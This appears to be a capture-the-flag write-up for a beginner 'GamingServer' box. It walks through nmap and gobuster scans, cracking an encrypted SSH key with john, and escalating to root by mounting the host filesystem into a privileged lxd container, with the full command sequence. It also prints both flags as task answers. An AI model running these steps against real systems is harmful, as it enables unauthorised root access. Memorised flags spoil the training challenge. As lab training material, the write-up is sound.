

# GamingServer



**GamingServer**  
An Easy Boot2Root box for beginners

# writeup

## -----user-flag-----

--ran **nmap** scan and found open ports **22** and **80**  
--visited website and found a **robots.txt** file containing:  
**/uploads**

--/uploads directory contains 3 files:

**dict.lst**  
**manifesto.txt**  
**meme.jpg**

--ran **gobuster** and found **/secret** directory  
--/secret directory contains a SSH key called **secretKey** that is encrypted  
--ran **ssh2john secretKey > secret.hash** then cracked with **john** to get password **letmein**  
--ran **ssh -i secretKey john@<IP-address>** and password **letmein**

--now simply run **cat user.txt** to get user flag:  
**a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e**

## -----root-flag-----

--tried **sudo -l** unsuccessfully  
--downloaded **linpeas.sh** to victim machine and ran it  
--noticed something in **id** command output  
**uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)**

--found an article explaining how to use **lxd** privescalation:  
<https://www.hackingarticles.in/lxd-privilege-escalation/>

--must download **alpine-build** script to local machine, and transfer image to victim machine as follows:

**local machine:**  
**git clone https://github.com/saghul/lxd-alpine-builder.git**  
**cd lxd-alpine-builder**  
**su root**  
**./build-alpine**

**victim machine:**  
**lxc image import ./alpine-v3.12-x86\_64-20200906\_0856.tar.gz --alias myimage**  
**lxc image list**

ALIAS	FINGERPRINT	PUBLIC	DESCRIPTION	ARCH	SIZE	UPLOAD DATE
myimage	e6468bcebf2f	no	alpine v3.12 (20200906_08:56)	x86_64	3.05MB	Sep 6, 2020 at 1:00pm (UTC)

**lxc init myimage ignite -c security.privileged=true**  
**lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true**  
**lxc start ignite**  
**lxc exec ignite /bin/sh**

--now running **id** gives us:  
**uid=0(root) gid=0(root)**

--located flag in directory **/mnt/root/root** and ran **cat root.txt** to get flag:  
**2e337b8c9f3aff0c2b3e8d4e6a7c88fc**

## scans

### -----nmap-scan-----

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)

| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)

| 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|\_ http-server-header: Apache/2.4.29 (Ubuntu)

|\_ http-title: House of danak

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

### -----gobuster-scan-----

/uploads (Status: 301)

/secret (Status: 301)

/server-status (Status: 403)

## ***[Task 1] Boot2Root***

Can you gain access to this gaming server built by amateurs with no experience of web development and take advantage of the deployment system.

**#1**

What is the user flag?

**a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e**

**#2**

What is the root flag?

**2e337b8c9f3aff0c2b3e8d4e6a7c88fc**